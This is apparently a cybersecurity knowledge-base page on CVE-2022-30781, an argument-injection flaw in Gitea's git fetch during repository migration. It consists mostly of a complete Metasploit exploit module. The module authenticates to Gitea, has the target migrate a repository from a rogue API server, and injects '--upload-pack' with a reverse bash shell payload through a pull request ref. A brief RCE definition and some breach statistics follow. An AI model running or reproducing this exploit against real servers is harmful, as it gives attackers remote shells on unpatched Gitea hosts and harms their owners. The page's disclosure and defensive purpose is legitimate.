A remote code execution vulnerability was discovered in Gitea affecting versions before 1.16.7, by security researcher, SAMGUY.
Gitea before 1.16.7 does not escape git fetch remote.
CWE-116 | Improper Encoding or Escaping of Output |
# Exploit Title: Gitea Git Fetch Remote Code Execution
# Date: 09/14/2022
# Exploit Author: samguy
# Vendor Homepage: https://gitea.io
# Software Link: https://dl.gitea.io/gitea/1.16.6
# Version: <= 1.16.6
# Tested on: Linux - Debian
# Ref : https://tttang.com/archive/1607/
# CVE : CVE-2022-30781
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Gitea Git Fetch Remote Code Execution',
'Description' => %q{
This module exploits Git fetch command in Gitea repository migration
process that leads to a remote command execution on the system.
This vulnerability affect Gitea before 1.16.7 version.
},
'Author' => [
'wuhan005 & li4n0', # Original PoC
'krastanoel' # MSF Module
],
'References' => [
['CVE', '2022-30781'],
['URL', 'https://tttang.com/archive/1607/']
],
'DisclosureDate' => '2022-05-16',
'License' => MSF_LICENSE,
'Platform' => %w[unix win],
'Arch' => ARCH_CMD,
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
],
'DefaultOptions' => { 'WfsDelay' => 30 },
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => []
}
)
)
register_options([
Opt::RPORT(3000),
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('USERNAME', [true, 'Username to authenticate with']),
OptString.new('PASSWORD', [true, 'Password to use']),
OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait', 12])
])
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/user/login'),
'keep_cookies' => true
)
return CheckCode::Unknown('No response from the web service') if res.nil?
return CheckCode::Safe("Check TARGETURI - unexpected HTTP response code: #{res.code}") if res.code != 200
# Powered by Gitea Version: 1.16.6
unless (match = res.body.match(/Gitea Version: (?<version>[\da-zA-Z.]+)/))
return CheckCode::Unknown('Target does not appear to be running Gitea.')
end
if match[:version].match(/[a-zA-Z]/)
return CheckCode::Unknown("Unknown Gitea version #{match[:version]}.")
end
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/user/login'),
'vars_post' => {
'user_name' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'_csrf' => get_csrf(res.get_cookies)
},
'keep_cookies' => true
)
return CheckCode::Safe('Authentication failed') if res&.code != 302
if Rex::Version.new(match[:version]) <= Rex::Version.new('1.16.6')
return CheckCode::Appears("Version detected: #{match[:version]}")
end
CheckCode::Safe("Version detected: #{match[:version]}")
rescue ::Rex::ConnectionError
return CheckCode::Unknown('Could not connect to the web service')
end
def primer
['/api/v1/version', '/api/v1/settings/api',
"/api/v1/repos/#{@migrate_repo_path}",
"/api/v1/repos/#{@migrate_repo_path}/pulls",
"/api/v1/repos/#{@migrate_repo_path}/topics"
].each { |uri| hardcoded_uripath(uri) } # adding resources
vprint_status("Creating repository \"#{@repo_name}\"")
gitea_create_repo
vprint_good('Repository created')
vprint_status("Migrating repository")
gitea_migrate_repo
end
def exploit
@repo_name = rand_text_alphanumeric(6..15)
@migrate_repo_name = rand_text_alphanumeric(6..15)
@migrate_repo_path = "#{datastore['username']}/#{@migrate_repo_name}"
datastore['URIPATH'] = "/#{@migrate_repo_path}"
Timeout.timeout(datastore['HTTPDELAY']) { super }
rescue Timeout::Error
[@repo_name, @migrate_repo_name].map { |name| gitea_remove_repo(name) }
cleanup # removing all resources
end
def get_csrf(cookies)
csrf = cookies&.split("; ")&.grep(/_csrf=/)&.join&.split("=")&.last
fail_with(Failure::UnexpectedReply, 'Unable to get CSRF token') unless csrf
csrf
end
def gitea_remove_repo(name)
vprint_status("Cleanup: removing repository \"#{name}\"")
uri = "/#{datastore['username']}/#{name}/settings"
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, uri),
'keep_cookies' => true
)
res = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'vars_post' => {
'action' => 'delete',
'repo_name' => name,
'_csrf' => get_csrf(res.get_cookies)
},
'keep_cookies' => true
)
vprint_warning('Unable to remove repository') if res&.code != 302
end
def gitea_create_repo
uri = normalize_uri(target_uri.path, '/repo/create')
res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => true)
@uid = res&.get_html_document&.at('//input[@id="uid"]/@value')&.text
fail_with(Failure::UnexpectedReply, 'Unable to get repo uid') unless @uid
res = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'vars_post' => {
'uid' => @uid,
'auto_init' => 'on',
'readme' => 'Default',
'repo_name' => @repo_name,
'trust_model' => 'default',
'default_branch' => 'master',
'_csrf' => get_csrf(res.get_cookies)
},
'keep_cookies' => true
)
fail_with(Failure::UnexpectedReply, 'Unable to create repo') if res&.code != 302
rescue ::Rex::ConnectionError
return CheckCode::Unknown('Could not connect to the web service')
end
def gitea_migrate_repo
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/repo/migrate'),
'keep_cookies' => true
)
uri = res&.get_html_document&.at('//svg[@class="svg gitea-gitea"]/ancestor::a/@href')&.text
fail_with(Failure::UnexpectedReply, 'Unable to get Gitea service type') unless uri
svc_type = Rack::Utils.parse_query(URI.parse(uri).query)['service_type']
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, uri),
'keep_cookies' => true
)
res = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'vars_post' => {
'uid' => @uid,
'service' => svc_type,
'pull_requests' => 'on',
'repo_name' => @migrate_repo_name,
'_csrf' => get_csrf(res.get_cookies),
'auth_token' => rand_text_alphanumeric(6..15),
'clone_addr' => "http://#{srvhost_addr}:#{srvport}/#{@migrate_repo_path}",
},
'keep_cookies' => true
)
if res&.code != 302 # possibly triggered by the [migrations] settings
err = res&.get_html_document&.at('//div[contains(@class, flash-error)]/p')&.text
gitea_remove_repo(@repo_name)
cleanup
fail_with(Failure::UnexpectedReply, "Unable to migrate repo: #{err}")
end
rescue ::Rex::ConnectionError
return CheckCode::Unknown('Could not connect to the web service')
end
def on_request_uri(cli, req)
case req.uri
when '/api/v1/version'
send_response(cli, '{"version": "1.16.6"}')
when '/api/v1/settings/api'
data = {
'max_response_items':50,'default_paging_num':30,
'default_git_trees_per_page':1000,'default_max_blob_size':10485760
}
send_response(cli, data.to_json)
when "/api/v1/repos/#{@migrate_repo_path}"
data = {
"clone_url": "#{full_uri}#{datastore['username']}/#{@repo_name}",
"owner": { "login": datastore['username'] }
}
send_response(cli, data.to_json)
when "/api/v1/repos/#{@migrate_repo_path}/topics?limit=0&page=1"
send_response(cli, '{"topics":[]}')
when "/api/v1/repos/#{@migrate_repo_path}/pulls?limit=50&page=1&state=all"
data = [
{
"base": {
"ref": "master",
},
"head": {
"ref": "--upload-pack=#{payload.encoded}",
"repo": {
"clone_url": "./",
"owner": { "login": "master" },
}
},
"updated_at": "2001-01-01T05:00:00+01:00",
"user": {}
}
]
send_response(cli, data.to_json)
end
end
end
What is Remote Code Execution (RCE)?
Remote code execution (RCE) attacks allow an attacker to remotely execute malicious code on a computer. The impact of an RCE vulnerability can range from malware execution to an attacker gaining full control over a compromised machine.
Suggest an edit to this article
Go to Cybersecurity Knowledge Base
Got to the Latest Cybersecurity News
Stay informed of the latest Cybersecurity trends, threats and developments. Sign up for our Weekly Cybersecurity Newsletter Today.
Remember, CyberSecurity Starts With You!
- Globally, 30,000 websites are hacked daily.
- 64% of companies worldwide have experienced at least one form of a cyber attack.
- There were 20M breached records in March 2021.
- In 2020, ransomware cases grew by 150%.
- Email is responsible for around 94% of all malware.
- Every 39 seconds, there is a new attack somewhere on the web.
- An average of around 24,000 malicious mobile apps are blocked daily on the internet.